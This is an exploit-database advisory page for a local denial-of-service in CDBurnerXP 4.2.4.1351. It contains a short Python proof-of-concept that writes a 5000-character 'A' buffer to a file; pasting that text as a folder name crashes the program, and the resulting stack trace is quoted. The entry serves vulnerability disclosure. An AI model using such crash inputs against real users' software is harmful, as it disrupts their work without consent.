CDBurnerXP version 4.2.4.1351 local DoS

2009.09.26
Credit: Dr_IDE
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/usr/bin/env python #################################################################################### # # CDBurnerXP v 4.2.4.1351 Local Crash PoC # Found By: Dr_IDE # Tested On: XPSP3, 7RC # Usage: Create New Data Disc, Add a Folder, Paste to Rename Folder, Click Save Compilation as ISO # Notes: Super lame and most likely not exploitable. # #################################################################################### ''' Error Message: System.NullReferenceException: Object reference not set to an instance of an object. at CDBurnerXP.Controls.FileLayoutManager.SaveAsIso(String filename) at CDBurnerXP_Pro.frmDataCompilation.mnuSaveISO_Click(Object sender, EventArgs e) at System.Windows.Forms.MenuItem.OnClick(EventArgs e) at System.Windows.Forms.MenuItem.MenuItemData.Execute() at System.Windows.Forms.Command.Invoke() at System.Windows.Forms.Command.DispatchID(Int32 id) at System.Windows.Forms.Control.WmCommand(Message& m) at System.Windows.Forms.Control.WndProc(Message& m) at System.Windows.Forms.ScrollableControl.WndProc(Message& m) at System.Windows.Forms.ContainerControl.WndProc(Message& m) at System.Windows.Forms.Form.WndProc(Message& m) at CDBurnerXP.Forms.BaseForm.WndProc(Message& m) at CDBurnerXP_Pro.mdiMain.WndProc(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m) at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam) ''' buff = ("\x41" * 5000) f1 = open("cdburnerxp.txt","w") f1.write(buff) f1.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top